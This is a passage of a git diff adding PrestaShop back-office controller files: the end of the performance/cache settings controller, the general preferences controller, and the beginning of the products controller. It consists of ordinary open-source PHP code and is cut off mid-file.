multiple fieldset + $this->multiple_fieldsets = true; + + return parent::renderForm(); + } + + public function initContent() + { + $php_dot_net_supported_langs = array('en', 'zh', 'fr', 'de', 'ja', 'pl', 'ro', 'ru', 'fa', 'es', 'tr'); + $php_lang = in_array($this->context->language->iso_code, $php_dot_net_supported_langs) ? + $this->context->language->iso_code : 'en'; + + if (!extension_loaded('memcache')) + $this->warnings[] = $this->l('To use Memcached, you must install the Memcache PECL extension on your server.').' + <a href="http://www.php.net/manual/'.substr($php_lang, 0, 2).'/memcache.installation.php" target="_blank"> + http://www.php.net/manual/'.substr($php_lang, 0, 2).'/memcache.installation.php + </a>'; + if (!extension_loaded('apc')) + { + $this->warnings[] = $this->l('To use APC, you must install the APC PECL extension on your server.').' + <a href="http://php.net/manual/'.substr($php_lang, 0, 2).'/apc.installation.php" target="_blank"> + http://php.net/manual/'.substr($php_lang, 0, 2).'/apc.installation.php + </a>'; + } + if (!extension_loaded('xcache')) + $this->warnings[] = $this->l('To use Xcache, you must install the Xcache extension on your server.').' + <a href="http://xcache.lighttpd.net" target="_blank">http://xcache.lighttpd.net</a>'; + + if (!is_writable(_PS_CACHEFS_DIRECTORY_)) + $this->warnings[] = sprintf($this->l('To use the CacheFS directory %s must be writable.'), realpath(_PS_CACHEFS_DIRECTORY_)); + + $this->initToolbar(); + $this->display = ''; + $this->content .= $this->renderForm(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function initToolbar() + { + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + } + + public function postProcess() + { + + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + + Hook::exec('action'.get_class($this).ucfirst($this->action).'Before', array('controller' => $this)); + if (Tools::isSubmit('submitAddServer')) + { + if ($this->tabAccess['add'] === '1') + { + if (!Tools::getValue('memcachedIp')) + $this->errors[] = Tools::displayError('The Memcached IP is missing.'); + if (!Tools::getValue('memcachedPort')) + $this->errors[] = Tools::displayError('The Memcached port is missing.'); + if (!Tools::getValue('memcachedWeight')) + $this->errors[] = Tools::displayError('The Memcached weight is missing.'); + if (!count($this->errors)) + { + if (CacheMemcache::addServer(pSQL(Tools::getValue('memcachedIp')), + (int)Tools::getValue('memcachedPort'), + (int)Tools::getValue('memcachedWeight'))) + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getValue('token').'&conf=4'); + else + $this->errors[] = Tools::displayError('The Memcached server cannot be added.'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + + if (Tools::getValue('deleteMemcachedServer')) + { + if ($this->tabAccess['add'] === '1') + { + if (CacheMemcache::deleteServer((int)Tools::getValue('deleteMemcachedServer'))) + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getValue('token').'&conf=4'); + else + $this->errors[] = Tools::displayError('There was an error when attempting to delete the Memcached server.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + $redirectAdmin = false; + if ((bool)Tools::getValue('smarty_up')) + { + if ($this->tabAccess['edit'] === '1') + { + Configuration::updateValue('PS_SMARTY_FORCE_COMPILE', Tools::getValue('smarty_force_compile', _PS_SMARTY_NO_COMPILE_)); + Configuration::updateValue('PS_SMARTY_CACHE', Tools::getValue('smarty_cache', 0)); + Configuration::updateValue('PS_SMARTY_CONSOLE', Tools::getValue('smarty_console', 0)); + $redirectAdmin = true; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + if ((bool)Tools::getValue('features_detachables_up')) + { + if ($this->tabAccess['edit'] === '1') + { + if (!Combination::isCurrentlyUsed()) + Configuration::updateValue('PS_COMBINATION_FEATURE_ACTIVE', Tools::getValue('combination')); + Configuration::updateValue('PS_FEATURE_FEATURE_ACTIVE', Tools::getValue('feature')); + $redirectAdmin = true; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + if ((bool)Tools::getValue('ccc_up')) + { + if ($this->tabAccess['edit'] === '1') + { + $theme_cache_directory = _PS_ALL_THEMES_DIR_.$this->context->shop->theme_directory.'/cache/'; + if (((bool)Tools::getValue('PS_CSS_THEME_CACHE') || (bool)Tools::getValue('PS_JS_THEME_CACHE')) && !is_writable($theme_cache_directory)) + $this->errors[] = Tools::displayError(sprintf($this->l('To use Smart Cache directory %s must be writable.'), realpath($theme_cache_directory))); + if (!Configuration::updateValue('PS_CSS_THEME_CACHE', (int)Tools::getValue('PS_CSS_THEME_CACHE')) || + !Configuration::updateValue('PS_JS_THEME_CACHE', (int)Tools::getValue('PS_JS_THEME_CACHE')) || + !Configuration::updateValue('PS_HTML_THEME_COMPRESSION', (int)Tools::getValue('PS_HTML_THEME_COMPRESSION')) || + !Configuration::updateValue('PS_JS_HTML_THEME_COMPRESSION', (int)Tools::getValue('PS_JS_HTML_THEME_COMPRESSION')) || + !Configuration::updateValue('PS_HTACCESS_CACHE_CONTROL', (int)Tools::getValue('PS_HTACCESS_CACHE_CONTROL'))) + $this->errors[] = Tools::displayError('Unknown error.'); + else + { + $redirectAdmin = true; + if (Configuration::get('PS_HTACCESS_CACHE_CONTROL')) + Tools::generateHtaccess(); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + if ((bool)Tools::getValue('media_server_up')) + { + if ($this->tabAccess['edit'] === '1') + { + if (Tools::getValue('_MEDIA_SERVER_1_') != null && !Validate::isFileName(Tools::getValue('_MEDIA_SERVER_1_'))) + $this->errors[] = Tools::displayError('Media server #1 is invalid'); + if (Tools::getValue('_MEDIA_SERVER_2_') != null && !Validate::isFileName(Tools::getValue('_MEDIA_SERVER_2_'))) + $this->errors[] = Tools::displayError('Media server #2 is invalid'); + if (Tools::getValue('_MEDIA_SERVER_3_') != null && !Validate::isFileName(Tools::getValue('_MEDIA_SERVER_3_'))) + $this->errors[] = Tools::displayError('Media server #3 is invalid'); + if (!count($this->errors)) + { + $base_urls = array(); + $base_urls['_MEDIA_SERVER_1_'] = Tools::getValue('_MEDIA_SERVER_1_'); + $base_urls['_MEDIA_SERVER_2_'] = Tools::getValue('_MEDIA_SERVER_2_'); + $base_urls['_MEDIA_SERVER_3_'] = Tools::getValue('_MEDIA_SERVER_3_'); + if ($base_urls['_MEDIA_SERVER_1_'] || $base_urls['_MEDIA_SERVER_2_'] || $base_urls['_MEDIA_SERVER_3_']) + Configuration::updateValue('PS_MEDIA_SERVERS', 1); + else + Configuration::updateValue('PS_MEDIA_SERVERS', 0); + rewriteSettingsFile($base_urls, null, null); + Tools::generateHtaccess(null, null, null, '', null, array($base_urls['_MEDIA_SERVER_1_'], $base_urls['_MEDIA_SERVER_2_'], $base_urls['_MEDIA_SERVER_3_'])); + unset($this->_fieldsGeneral['_MEDIA_SERVER_1_']); + unset($this->_fieldsGeneral['_MEDIA_SERVER_2_']); + unset($this->_fieldsGeneral['_MEDIA_SERVER_3_']); + $redirectAdmin = true; + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + if ((bool)Tools::getValue('ciphering_up') && Configuration::get('PS_CIPHER_ALGORITHM') != (int)Tools::getValue('PS_CIPHER_ALGORITHM')) + { + if ($this->tabAccess['edit'] === '1') + { + $algo = (int)Tools::getValue('PS_CIPHER_ALGORITHM'); + $prev_settings = file_get_contents(dirname(__FILE__).'/../../config/settings.inc.php'); + $new_settings = $prev_settings; + if ($algo) + { + if (!function_exists('mcrypt_encrypt')) + $this->errors[] = Tools::displayError('The PHP "Mcrypt" extension is not activated on this server.'); + else + { + if (!strstr($new_settings, '_RIJNDAEL_KEY_')) + { + $key_size = mcrypt_get_key_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB); + $key = Tools::passwdGen($key_size); + $new_settings = preg_replace( + '/define\(\'_COOKIE_KEY_\', \'([a-z0-9=\/+-_]+)\'\);/i', + 'define(\'_COOKIE_KEY_\', \'\1\');'."\n".'define(\'_RIJNDAEL_KEY_\', \''.$key.'\');', + $new_settings + ); + } + if (!strstr($new_settings, '_RIJNDAEL_IV_')) + { + $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB); + $iv = base64_encode(mcrypt_create_iv($iv_size, MCRYPT_RAND)); + $new_settings = preg_replace( + '/define\(\'_COOKIE_IV_\', \'([a-z0-9=\/+-_]+)\'\);/i', + 'define(\'_COOKIE_IV_\', \'\1\');'."\n".'define(\'_RIJNDAEL_IV_\', \''.$iv.'\');', + $new_settings + ); + } + } + } + if (!count($this->errors)) + { + // If there is not settings file modification or if the backup and replacement of the settings file worked + if ($new_settings == $prev_settings || ( + copy(dirname(__FILE__).'/../../config/settings.inc.php', dirname(__FILE__).'/../../config/settings.old.php') + && (bool)file_put_contents(dirname(__FILE__).'/../../config/settings.inc.php', $new_settings) + )) + { + Configuration::updateValue('PS_CIPHER_ALGORITHM', $algo); + $redirectAdmin = true; + } + else + $this->errors[] = Tools::displayError('The settings file cannot be overwritten.'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + if ((bool)Tools::getValue('cache_up')) + { + if ($this->tabAccess['edit'] === '1') + { + $prev_settings = file_get_contents(dirname(__FILE__).'/../../config/settings.inc.php'); + $new_settings = $prev_settings; + if (!Tools::getValue('active')) + $cache_active = 0; + else + $cache_active = 1; + + if (!$caching_system = Tools::getValue('caching_system')) + $this->errors[] = Tools::displayError('The caching system is missing.'); + else + $new_settings = preg_replace( + '/define\(\'_PS_CACHING_SYSTEM_\', \'([a-z0-9=\/+-_]+)\'\);/Ui', + 'define(\'_PS_CACHING_SYSTEM_\', \''.$caching_system.'\');', + $new_settings + ); + + if ($cache_active && $caching_system == 'CacheMemcache' && !extension_loaded('memcache')) + $this->errors[] = Tools::displayError('To use Memcached, you must install the Memcache PECL extension on your server.').' + <a href="http://www.php.net/manual/en/memcache.installation.php">http://www.php.net/manual/en/memcache.installation.php</a>'; + elseif ($cache_active && $caching_system == 'CacheApc' && !extension_loaded('apc')) + $this->errors[] = Tools::displayError('To use APC cache, you must install the APC PECL extension on your server.').' + <a href="http://fr.php.net/manual/fr/apc.installation.php">http://fr.php.net/manual/fr/apc.installation.php</a>'; + elseif ($cache_active && $caching_system == 'CacheXcache' && !extension_loaded('xcache')) + $this->errors[] = Tools::displayError('To use Xcache, you must install the Xcache extension on your server.').' + <a href="http://xcache.lighttpd.net">http://xcache.lighttpd.net</a>'; + else if ($cache_active && $caching_system == 'CacheXcache' && !ini_get('xcache.var_size')) + $this->errors[] = Tools::displayError('To use Xcache, you must configure "xcache.var_size" for the Xcache extension (recommended value 16M to 64M).').' + <a href="http://xcache.lighttpd.net/wiki/XcacheIni">http://xcache.lighttpd.net/wiki/XcacheIni</a>'; + elseif ($cache_active && $caching_system == 'CacheFs' && !is_writable(_PS_CACHEFS_DIRECTORY_)) + $this->errors[] = sprintf( + Tools::displayError('To use CacheFS, the directory %s must be writable.'), + realpath(_PS_CACHEFS_DIRECTORY_) + ); + + if ($caching_system == 'CacheFs' && $cache_active) + { + if (!($depth = Tools::getValue('ps_cache_fs_directory_depth'))) + $this->errors[] = Tools::displayError('Please set a directory depth.'); + if (!count($this->errors)) + { + CacheFs::deleteCacheDirectory(); + CacheFs::createCacheDirectories((int)$depth); + Configuration::updateValue('PS_CACHEFS_DIRECTORY_DEPTH', (int)$depth); + } + } + elseif ($caching_system == 'CacheMemcache' && $cache_active && !_PS_CACHE_ENABLED_ && _PS_CACHING_SYSTEM_ == 'CacheMemcache') + Cache::getInstance()->flush(); + + if (!count($this->errors)) + { + $new_settings = preg_replace('/define\(\'_PS_CACHE_ENABLED_\', \'([0-9])\'\);/Ui', 'define(\'_PS_CACHE_ENABLED_\', \''.(int)$cache_active.'\');', $new_settings); + // If there is not settings file modification or if the backup and replacement of the settings file worked + if ($new_settings == $prev_settings || ( + copy(dirname(__FILE__).'/../../config/settings.inc.php', dirname(__FILE__).'/../../config/settings.old.php') + && (bool)file_put_contents(dirname(__FILE__).'/../../config/settings.inc.php', $new_settings) + )) + $redirectAdmin = true; + else + $this->errors[] = Tools::displayError('The settings file cannot be overwritten.'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + if ($redirectAdmin && (!isset($this->errors) || !count($this->errors))) + { + Hook::exec('action'.get_class($this).ucfirst($this->action).'After', array('controller' => $this, 'return' => '')); + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getValue('token').'&conf=4'); + } + } + + public function ajaxProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + die(Tools::displayError('This functionality has been disabled.')); + /* PrestaShop demo mode*/ + if (Tools::isSubmit('action') && Tools::getValue('action') == 'test_server') + { + $host = pSQL(Tools::getValue('sHost', '')); + $port = (int)Tools::getValue('sPort', 0); + + if ($host != '' && $port != 0) + { + $res = 0; + + if (function_exists('memcache_get_server_status') && + function_exists('memcache_connect') && + @fsockopen($host, $port)) + { + $memcache = @memcache_connect($host, $port); + $res = @memcache_get_server_status($memcache, $host, $port); + } + die(Tools::jsonEncode(array($res))); + } + } + die; + } + +} \ No newline at end of file diff --git a/controllers/admin/AdminPreferencesController.php b/controllers/admin/AdminPreferencesController.php new file mode 100755 index 0000000..5df23ea --- /dev/null +++ b/controllers/admin/AdminPreferencesController.php @@ -0,0 +1,166 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminPreferencesControllerCore extends AdminController +{ + + public function __construct() + { + $this->context = Context::getContext(); + $this->className = 'Configuration'; + $this->table = 'configuration'; + + // Prevent classes which extend AdminPreferences to load useless data + if (get_class($this) == 'AdminPreferencesController') + { + $round_mode = array( + array( + 'value' => PS_ROUND_UP, + 'name' => $this->l('superior') + ), + array( + 'value' => PS_ROUND_DOWN, + 'name' => $this->l('inferior') + ), + array( + 'value' => PS_ROUND_HALF, + 'name' => $this->l('classical') + ) + ); + $activities1 = array( + 0 => $this->l('-- Please choose your main activity --'), + 1 => $this->l('Adult'), + 2 => $this->l('Animals and Pets'), + 3 => $this->l('Art and Culture'), + 4 => $this->l('Babies'), + 5 => $this->l('Beauty and Personal Care'), + 6 => $this->l('Cars'), + 7 => $this->l('Computer Hardware and Software'), + 8 => $this->l('Download'), + 9 => $this->l('Fashion and accessories'), + 10 => $this->l('Flowers, Gifts and Crafts'), + 11 => $this->l('Food and beverage'), + 12 => $this->l('HiFi, Photo and Video'), + 13 => $this->l('Home and Garden'), + 14 => $this->l('Home Appliances'), + 15 => $this->l('Jewelry'), + 16 => $this->l('Mobile and Telecom'), + 17 => $this->l('Services'), + 18 => $this->l('Shoes and accessories'), + 19 => $this->l('Sport and Entertainment'), + 20 => $this->l('Travel') + ); + $activities2 = array(); + foreach ($activities1 as $value => $name) + $activities2[] = array('value' => $value, 'name' => $name); + + $fields = array( + 'PS_SSL_ENABLED' => array( + 'title' => $this->l('Enable SSL'), + 'desc' => $this->l('If your hosting provider allows SSL, you can activate SSL encryption (https://) for customer account identification and order processing.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'default' => '0' + ), + 'PS_TOKEN_ENABLE' => array( + 'title' => $this->l('Increase Front Office security'), + 'desc' => $this->l('Enable or disable token in the Front Office to improve PrestaShop\'s security.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'default' => '0', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_PRICE_ROUND_MODE' => array( + 'title' => $this->l('Round mode'), + 'desc' => $this->l('You can choose how to round prices: Always round superior, always round inferior or classic rounding.'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'select', + 'list' => $round_mode, + 'identifier' => 'value' + ), + 'PS_DISPLAY_SUPPLIERS' => array( + 'title' => $this->l('Display suppliers and manufacturers'), + 'desc' => $this->l('Display the suppliers and manufacturers lists even if corresponding blocks are disabled.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_MULTISHOP_FEATURE_ACTIVE' => array( + 'title' => $this->l('Enable Multistore'), + 'desc' => $this->l('The multistore feature allows you to manage several e-shops with one Back Office. If this feature is enabled, a "Multistore" page will be available in the "Advanced Parameters" menu.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_SHOP_ACTIVITY' => array( + 'title' => $this->l('Main Shop Activity'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'select', + 'list' => $activities2, + 'identifier' => 'value' + ), + ); + + // No HTTPS activation if you haven't already. + if (!Tools::usingSecureMode() && !Configuration::get('PS_SSL_ENABLED')) + { + $fields['PS_SSL_ENABLED']['type'] = 'disabled'; + $fields['PS_SSL_ENABLED']['disabled'] = '<a href="https://'.Tools::getShopDomainSsl().Tools::safeOutput($_SERVER['REQUEST_URI']).'">'. + $this->l('Please click here to use HTTPS protocol before enabling SSL.').'</a>'; + } + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('General'), + 'icon' => 'tab-preferences', + 'fields' => $fields, + 'submit' => array('title' => $this->l('Save '), 'class' => 'button'), + ), + ); + } + + parent::__construct(); + } + + /** + * Enable / disable multishop menu if multishop feature is activated + * + * @param string $value + */ + public function updateOptionPsMultishopFeatureActive($value) + { + Configuration::updateValue('PS_MULTISHOP_FEATURE_ACTIVE', $value); + + $tab = Tab::getInstanceFromClassName('AdminShopGroup'); + $tab->active = (bool)Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE'); + $tab->update(); + } +} diff --git a/controllers/admin/AdminProductsController.php b/controllers/admin/AdminProductsController.php new file mode 100755 index 0000000..f87a2bf --- /dev/null +++ b/controllers/admin/AdminProductsController.php @@ -0,0 +1,4350 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminProductsControllerCore extends AdminController +{ + /** @var integer Max image size for upload + * As of 1.5 it is recommended to not set a limit to max image size + */ + protected $max_file_size = null; + protected $max_image_size = null; + + protected $_category; + /** + * @var string name of the tab to display + */ + protected $tab_display; + protected $tab_display_module; + + /** + * The order in the array decides the order in the list of tab. If an element's value is a number, it will be preloaded. + * The tabs are preloaded from the smallest to the highest number. + * @var array Product tabs. + */ + protected $available_tabs = array(); + + protected $default_tab = 'Informations'; + + protected $available_tabs_lang = array(); + + protected $position_identifier = 'id_product'; + + protected $submitted_tabs; + + protected $id_current_category; + + public function __construct() + { + $this->table = 'product'; + $this->className = 'Product'; + $this->lang = true; + $this->explicitSelect = true; + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + if (!Tools::getValue('id_product')) + $this->multishop_context_group = false; + + parent::__construct(); + + $this->imageType = 'jpg'; + $this->_defaultOrderBy = 'position'; + $this->max_file_size = (int)(Configuration::get('PS_LIMIT_UPLOAD_FILE_VALUE') * 1000000); + $this->max_image_size = (int)Configuration::get('PS_PRODUCT_PICTURE_MAX_SIZE'); + $this->allow_export = true; + + // @since 1.5 : translations for tabs + $this->available_tabs_lang = array ( + 'Informations' => $this->l('Information'), + 'Pack' => $this->l('Pack'), + 'VirtualProduct' => $this->l('Virtual Product'), + 'Prices' => $this->l('Prices'), + 'Seo' => $this->l('SEO'), + 'Images' => $this->l('Images'), + 'Associations' => $this->l('Associations'), + 'Shipping' => $this->l('Shipping'), + 'Combinations' => $this->l('Combinations'), + 'Features' => $this->l('Features'), + 'Customization' => $this->l('Customization'), + 'Attachments' => $this->l('Attachments'), + 'Quantities' => $this->l('Quantities'), + 'Suppliers' => $this->l('Suppliers'), + 'Warehouses' => $this->l('Warehouses'), + ); + + $this->available_tabs = array('Quantities' => 6, 'Warehouses' => 14); + if ($this->context->shop->getContext() != Shop::CONTEXT_GROUP) + $this->available_tabs = array_merge($this->available_tabs, array( + 'Informations' => 0, + 'Pack' => 7, + 'VirtualProduct' => 8, + 'Prices' => 1, + 'Seo' => 2, + 'Associations' => 3, + 'Images' => 9, + 'Shipping' => 4, + 'Combinations' => 5, + 'Features' => 10, + 'Customization' => 11, + 'Attachments' => 12, + 'Suppliers' => 13, + )); + + // Sort the tabs that need to be preloaded by their priority number + asort($this->available_tabs, SORT_NUMERIC); + + /* Adding tab if modules are hooked */ + $modules_list = Hook::getHookModuleExecList('displayAdminProductsExtra'); + if (is_array($modules_list) && count($modules_list) > 0) + foreach ($modules_list as $m) + { + $this->available_tabs['Module'.ucfirst($m['module'])] = 23; + $this->available_tabs_lang['Module'.ucfirst($m['module'])] = Module::getModuleName($m['module']); + } + + if (Tools::getValue('reset_filter_category')) + $this->context->cookie->id_category_products_filter = false; + if (Shop::isFeatureActive() && $this->context->cookie->id_category_products_filter) + { + $category = new Category((int)$this->context->cookie->id_category_products_filter); + if (!$category->inShop()) + { + $this->context->cookie->id_category_products_filter = false; + Tools::redirectAdmin($this->context->link->getAdminLink('AdminProducts')); + } + } + /* Join categories table */ + if ($id_category = (int)Tools::getValue('productFilter_cl!name')) + { + $this->_category = new Category((int)$id_category); + $_POST['productFilter_cl!name'] = $this->_category->name[$this->context->language->id]; + } + else + { + if ($id_category = (int)Tools::getValue('id_category')) + { + $this->id_current_category = $id_category; + $this->context->cookie->id_category_products_filter = $id_category; + } + elseif ($id_category = $this->context->cookie->id_category_products_filter) + $this->id_current_category = $id_category; + if ($this->id_current_category) + $this->_category = new Category((int)$this->id_current_category); + else + $this->_category = new Category(); + } + + $join_category = false; + if (Validate::isLoadedObject($this->_category) && empty($this->_filter)) + $join_category = true; + + $this->_join .= 'LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = a.`id_product` '.(!Shop::isFeatureActive() ? ' AND i.cover=1' : '').')'; + if (Shop::isFeatureActive()) + { + $alias = 'sa'; + $alias_image = 'image_shop'; + if (Shop::getContext() == Shop::CONTEXT_SHOP) + { + $this->_join .= ' JOIN `'._DB_PREFIX_.'product_shop` sa ON (a.`id_product` = sa.`id_product` AND sa.id_shop = '.(int)$this->context->shop->id.') + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON ('.$alias.'.`id_category_default` = cl.`id_category` AND b.`id_lang` = cl.`id_lang` AND cl.id_shop = '.(int)$this->context->shop->id.') + LEFT JOIN `'._DB_PREFIX_.'shop` shop ON (shop.id_shop = '.(int)$this->context->shop->id.') + LEFT JOIN `'._DB_PREFIX_.'image_shop` image_shop ON (image_shop.`id_image` = i.`id_image` AND image_shop.`cover` = 1 AND image_shop.id_shop='.(int)$this->context->shop->id.')'; + } + else + { + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'product_shop` sa ON (a.`id_product` = sa.`id_product` AND sa.id_shop = a.id_shop_default) + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON ('.$alias.'.`id_category_default` = cl.`id_category` AND b.`id_lang` = cl.`id_lang` AND cl.id_shop = a.id_shop_default) + LEFT JOIN `'._DB_PREFIX_.'shop` shop ON (shop.id_shop = a.id_shop_default) + LEFT JOIN `'._DB_PREFIX_.'image_shop` image_shop ON (image_shop.`id_image` = i.`id_image` AND image_shop.`cover` = 1 AND image_shop.id_shop=a.id_shop_default)'; + } + $this->_select .= 'shop.name as shopname, '; + } + else + { + $alias = 'a'; + $alias_image = 'i'; + $this->_join .= 'LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON ('.$alias.'.`id_category_default` = cl.`id_category` AND b.`id_lang` = cl.`id_lang` AND cl.id_shop = 1)'; + } + + $this->_select .= 'MAX('.$alias_image.'.id_image) id_image,'; + + $this->_join .= ($join_category ? 'INNER JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_product` = a.`id_product` AND cp.`id_category` = '.(int)$this->_category->id.')' : '').' + LEFT JOIN `'._DB_PREFIX_.'stock_available` sav ON (sav.`id_product` = a.`id_product` AND sav.`id_product_attribute` = 0 + '.StockAvailable::addSqlShopRestriction(null, null, 'sav').') '; + $this->_select .= 'cl.name `name_category` '.($join_category ? ', cp.`position`' : '').', '.$alias.'.`price`, 0 AS price_final, sav.`quantity` as sav_quantity, '.$alias.'.`active`'; + + $this->_group = 'GROUP BY '.$alias.'.id_product'; + + $this->fields_list = array(); + $this->fields_list['id_product'] = array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 20 + ); + $this->fields_list['image'] = array( + 'title' => $this->l('Photo'), + 'align' => 'center', + 'image' => 'p', + 'width' => 70, + 'orderby' => false, + 'filter' => false, + 'search' => false + ); + $this->fields_list['name'] = array( + 'title' => $this->l('Name'), + 'filter_key' => 'b!name' + ); + $this->fields_list['reference'] = array( + 'title' => $this->l('Reference'), + 'align' => 'left', + 'width' => 80 + ); + + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) + $this->fields_list['shopname'] = array( + 'title' => $this->l('Default shop:'), + 'width' => 230, + 'filter_key' => 'shop!name', + ); + else + $this->fields_list['name_category'] = array( + 'title' => $this->l('Category'), + 'width' => 'auto', + 'filter_key' => 'cl!name', + ); + $this->fields_list['price'] = array( + 'title' => $this->l('Base price'), + 'width' => 90, + 'type' => 'price', + 'align' => 'right', + 'filter_key' => 'a!price' + ); + $this->fields_list['price_final'] = array( + 'title' => $this->l('Final price'), + 'width' => 90, + 'type' => 'price', + 'align' => 'right', + 'havingFilter' => true, + 'orderby' => false + ); + $this->fields_list['sav_quantity'] = array( + 'title' => $this->l('Quantity'), + 'width' => 90, + 'align' => 'right', + 'filter_key' => 'sav!quantity', + 'orderby' => true, + 'hint' => $this->l('This is the quantity available in the current shop/group.'), + ); + $this->fields_list['active'] = array( + 'title' => $this->l('Status'), + 'width' => 70, + 'active' => 'status', + 'filter_key' => $alias.'!active', + 'align' => 'center', + 'type' => 'bool', + 'orderby' => false + ); + + if ((int)$this->id_current_category) + $this->fields_list['position'] = array( + 'title' => $this->l('Position'), + 'width' => 70, + 'filter_key' => 'cp!position', + 'align' => 'center', + 'position' => 'position' + ); + } + + protected function _cleanMetaKeywords($keywords) + { + if (!empty($keywords) && $keywords != '') + { + $out = array(); + $words = explode(',', $keywords); + foreach ($words as $word_item) + { + $word_item = trim($word_item); + if (!empty($word_item) && $word_item != '') + $out[] = $word_item; + } + return ((count($out) > 0) ? implode(',', $out) : ''); + } + else + return ''; + } + + protected function copyFromPost(&$object, $table) + { + parent::copyFromPost($object, $table); + if (get_class($object) != 'Product') + return; + + /* Additional fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + if (isset($_POST['meta_keywords_'.$language['id_lang']])) + { + $_POST['meta_keywords_'.$language['id_lang']] = $this->_cleanMetaKeywords(Tools::strtolower($_POST['meta_keywords_'.$language['id_lang']])); + // preg_replace('/ *,? +,* /', ',', strtolower($_POST['meta_keywords_'.$language['id_lang']])); + $object->meta_keywords[$language['id_lang']] = $_POST['meta_keywords_'.$language['id_lang']]; + } + $_POST['width'] = empty($_POST['width']) ? '0' : str_replace(',', '.', $_POST['width']); + $_POST['height'] = empty($_POST['height']) ? '0' : str_replace(',', '.', $_POST['height']); + $_POST['depth'] = empty($_POST['depth']) ? '0' : str_replace(',', '.', $_POST['depth']); + $_POST['weight'] = empty($_POST['weight']) ? '0' : str_replace(',', '.', $_POST['weight']); + + if (Tools::getIsset('unit_price') != null) + $object->unit_price = str_replace(',', '.', Tools::getValue('unit_price')); + if (Tools::getIsset('ecotax') != null) + $object->ecotax = str_replace(',', '.', Tools::getValue('ecotax')); + $object->available_for_order = (int)Tools::getValue('available_for_order'); + $object->show_price = $object->available_for_order ? 1 : (int)Tools::getValue('show_price'); + $object->on_sale = (int)Tools::getValue('on_sale'); + $object->online_only = (int)Tools::getValue('online_only'); + } + + public function getList($id_lang, $orderBy = null, $orderWay = null, $start = 0, $limit = null, $id_lang_shop = null) + { + $orderByPriceFinal = (empty($orderBy) ? ($this->context->cookie->__get($this->table.'Orderby') ? $this->context->cookie->__get($this->table.'Orderby') : 'id_'.$this->table) : $orderBy); + $orderWayPriceFinal = (empty($orderWay) ? ($this->context->cookie->__get($this->table.'Orderway') ? $this->context->cookie->__get($this->table.'Orderby') : 'ASC') : $orderWay); + if ($orderByPriceFinal == 'price_final') + { + $orderBy = 'id_'.$this->table; + $orderWay = 'ASC'; + } + parent::getList($id_lang, $orderBy, $orderWay, $start, $limit, $this->context->shop->id); + + /* update product quantity with attributes 